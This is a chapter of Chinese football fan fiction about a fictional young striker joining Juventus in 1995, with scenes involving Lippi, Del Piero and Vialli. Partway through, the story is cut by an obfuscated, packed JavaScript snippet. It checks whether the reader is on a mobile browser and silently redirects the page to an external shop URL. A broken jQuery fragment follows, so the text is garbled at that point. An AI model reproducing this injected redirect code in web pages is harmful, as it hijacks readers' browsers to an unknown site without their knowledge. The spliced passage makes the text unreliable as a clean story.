《尤文图斯球探观察报告》
观察员： Nené
观察球员：艾托伊尔·帕洛玛
位置：中锋
观察时间：1995年8月1日
技术报告（不专业版）：
说真的，我几乎无法相信这位青年球员（艾托伊尔）从未接受过足球相关的专业训练。
尽管他的对手大多只有十四五岁，但他与小克劳迪奥的两人组合在三十分钟内进了对面整整十个球。
这让我不得不叫停了比赛来耐心安慰这群哭着喊着要回去上学的孩子们。
看他踢球是一种享受。他是一个天生的前锋，他的眼中似乎从来没有过防守球员，他始终从容地凝视着球门里最虚弱的位置——然后一击命中。
他应当反复看过许多优秀球员的录像带，不然无法解释在短短半个小时里为什么我能从他的身上看到那么多人的影子。
孩子，我并不想使用“影子”这个词。我想告诉他。这个词似乎带着一种追忆，又隐含着一种挑剔——但他说，他很乐意听到别人这么评价他。他踢球就是为了模仿。
他说他总是模仿。模仿不是因为有想要超越前人的野心——野心这个词太“大”了，他不喜欢。模仿的开端仅仅是因为喜欢。
他告诉我，他最喜欢的球员是尤文现在的10号，德尔·皮耶罗。这句话实在不能更可信了。
当小克劳迪奥一脚长传歪歪扭扭地送到他的身后时，他能够镇定自若地背身接球，强行转身摆脱掉对面的两个后卫，用一脚铲射/精妙地将球送入球门。这与上赛季尤文图斯与拉齐奥的那场比赛中，德尔·皮耶罗的射门有着异曲同工之妙。
而我同样能从他的身上看到那位紫百合的太阳。他的意大利血脉就来自佛罗伦萨，所以我想这应当是再正常不过的事——才怪！
他的暴力美学与巴蒂斯图塔如出一辙。但他并没有“战神”那样强壮的体魄，这是我唯一担心的一点。不，还有他的脚踝。
他总是在有条件的时候“玩弄”各种手段来欺骗对手，在角度不够、距离太远的时候又突如其然地展示他的力量，他的远射就和他的容颜那般惊心动魄。
但我还想补充一点的是，除此以外，他还让我想起一位传奇，那位我们都很熟悉的，斑马军团的10号国王：米歇尔·普拉蒂尼。关于这一点，请允许我先卖个关子——当看到他踢球的第一秒钟，您就会知道原因的，先生。
-
1995/96赛季，如果你浏览尤文图斯的大名单，你会发现有几位老朋友的名字依旧活跃在当今足坛。
看看这几个名字吧：
“银狐”里皮，德尚和孔蒂——啊哈，这不是名帅三人组吗？
让我们再算上后来加盟尤文的齐祖。
所以说，其实不只是拉齐奥爱出教练，尤文图斯同样不缺乏教练基因。你看看，斑马军团马上又有一位新的国家队教练要诞生了。
其实曾经不止这个数。
不过嘛，我们还是先把视线转移到尤文图斯的主教练办公室吧。
-
“保罗·纽曼先生，我想您得看看这个。”
一位工作人员正将一份球探报告妥帖地递给教练里皮，并顺带打趣了他一句。
保罗·纽曼。
那可是位迷人的影帝先生。
他们俩的确长相相似：硬朗、优雅、蓝眼睛——以及指尖淡然夹着的一根烟。
不过风度翩翩的里皮先生对这个称呼并不怎么满意。但他也没什么好办法摆脱它。
坚强的里皮教练静静看完了这份马不停蹄送来的文件。他扶了扶眼镜，缓缓点燃了一支雪茄，随后笑了：“…… Nené这是在写球探报告还是在写足球小说呢？”
“还是让我先见见那孩子吧。”
-
斑马军团的季前赛训练已经开始了。
亚历桑德罗·德尔·皮耶罗把自己放倒在柔软的草皮上。这是他应对疲倦最管用的手段。他总是会就着这个姿势凝望天空，然后提醒自己：“好了，阿莱，足球其实只是一场游戏。”
有些人忍受不了青草的味道。但德尔·皮耶罗却顺着这种草茎香想起了春天。春天。今年的春天发生过什么？他张开双臂，把目光投向晴朗的天空。
那时他正在接受意大利U21国青队的一次采访，该死……他现在已经忘记记者问了他什么问题，大抵是一些老生常谈的话，对未来的几场比赛的有什么看法之类的。他话还未说完，肩膀就被毫不留情地搭上了两只胳膊，随后记者也笑了起来：
“卡纳瓦罗和比吉卡来了！”
这真是一种甜蜜的折磨——他被卡纳瓦罗和比吉卡紧紧环抱在中间，两个人都大笑着看向他，比吉卡的脑袋实在凑得太近了，他几乎能感受到比吉卡的呼吸，然后听见连说话都遮不住笑意的他说：
“……我们有平图里奇奥（Pinturicchio）！”
平图里奇奥是老阿涅利先生为他取的绰号。
皮耶罗记得当时他自己也莫名其妙地笑得直不起身，只能伸出一根手指抵在嘴唇下方的位置假装思考——后来有位看了采访的小球迷告诉他，这动作实在是可爱。好吧，作为一个意大利人，他还是乐于接受“可爱”这样的赞扬。
平图里奇奥，一位文艺复兴时期的画家。他为西斯廷教堂创作的壁画华丽而又圣洁。因为身高问题，平图里奇奥获得了“小画家”的绰号——现在大家也爱这么称呼他。
而老阿涅利先生送给他这个绰号，一方面是欣赏他的足球才华，另一方面，也是对标罗伯特·巴乔“拉斐尔”的美称——1993年，他以巴乔接班人的身份被阿涅利主席带到了尤文图斯。而现在，巴乔离开了都灵城，他做梦般接过了10号。
21岁接过意甲豪门的10号，这也和做梦没什么区别了。
“你在想什么？德尔·皮耶罗先生。”
一个从未见过的年轻人很坦然地在他身边的草地上坐下。就像他们早已熟识。如果不是在球场上，他大抵会吹个口哨来“调笑”一下这么俊美的少年——嗨，我们之前是不是在哪里见过？
想到故事可能会以一个俗套的开场白开始，德尔·皮耶罗就情不自禁地笑了起来。
但对于一个可能是从预备队“偷渡”来的孩子，皮耶罗觉得自己有必要保持住前辈的好形象。不过他显然是高估了自己。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779140|210066||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>一秒钟都还没到呢，亚历桑德罗·德尔·皮耶罗爱撒娇的本质就暴露无遗。
“这个称呼太正式了。”他忍不住低声嘟囔了一句，“我以为有人叫我Alessa就够怪了。”
但他还是耐心地补充道：“罗比……我在想罗伯特的事。”
而这个背对着阳光的男孩动了动耳朵，把脑袋枕在膝盖上歪着脸看他，似乎也陷入了思考：“嗯，我知道。”
皮耶罗不得不承认自己被眼前人逗笑了。心中那抹年轻的忧愁也变得安静起来。他放轻声音，尽管他的声音已经足够柔软：
“——好吧，小预言家。能让我听听你都知道些什么吗？”
艾托伊尔饶有兴味地挑了挑眉，他正想开口，身后却忽然出现了另一个沉稳的声音：
“阿莱，尽管我很喜欢你的微笑，我也时常建议大家应该多笑笑——但是，可别忘了，今天的训练可还没结束。”
-
作为尤文图斯青训，艾托伊尔听过老队长詹卢卡·维亚利的名字。他知道他的一些故事。
在告别仪式后。
艾托伊尔知道，在意大利球员中，“不好好踢球就只能回家继承家业”的其实并不只皮尔洛一个。詹卢卡·维亚利也是其中一员。
维亚利成长于克雷莫纳附近乡下的一座城堡里，他的父亲是一名白手起家的工业巨头。维亚利从小就展现出对于足球的热情与天赋，于是顺理成章地，他加入了家乡球队克雷莫内塞（Cremonese)。
人们是如此喜爱他：“詹卢卡·维亚利，19岁，克雷莫内塞的瑰宝。”
而当时时任桑普多利亚主席的保罗·曼多瓦尼想要打造一支年轻的冠军球队，他首先为球队带来了还不到18岁的罗伯托·曼奇尼。在两年后，也就是1984年，曼奇尼迎来了他的梦幻搭档：詹卢卡·维亚利。
他们是桑普双子星，是意甲最年轻的锋线搭档。
那一年，他们都只有20岁。
那大概是水手军团（桑普多利亚）的球迷一想起来就会感到幸福的一段时期：一次意甲冠军、一次欧洲优胜者杯和三次意大利杯……谁也无法奢求更多的冠军了。
1992年，维亚利以1250万英镑的天价转会至尤文图斯。如果按照通货膨胀进行换算，放到今日，那将是2.09亿英镑的天价——此时，普拉蒂尼为尤文图斯带来的辉煌已经逝去，而AC米兰才是那支冠绝欧洲的无敌之师。
因为范巴斯滕。
而维亚利没有辜负这份期望。他总是全力以赴。
艾托伊尔不由自主地看向了队长的光头。是啊，每个人都知道这光头是怎么来的。那是为了给福图纳托，他不幸患上了白血病的尤文图斯队友加油。
维亚利曾有一头美丽的卷发，不过再也没人能看见。福图纳托去世了。
“男孩，你是哪个梯队的？”
“少抽点烟吧，队长。”
他们两人同时出声，然后都微微愣在了原地。
皮耶罗左看看右看看，眨眨眼睛，调皮地插进来一句：
“谁能管住卢卡？他在90年的夏天（即意大利世界杯）被换下场，坐在替补席上都敢吞云吐雾呢！”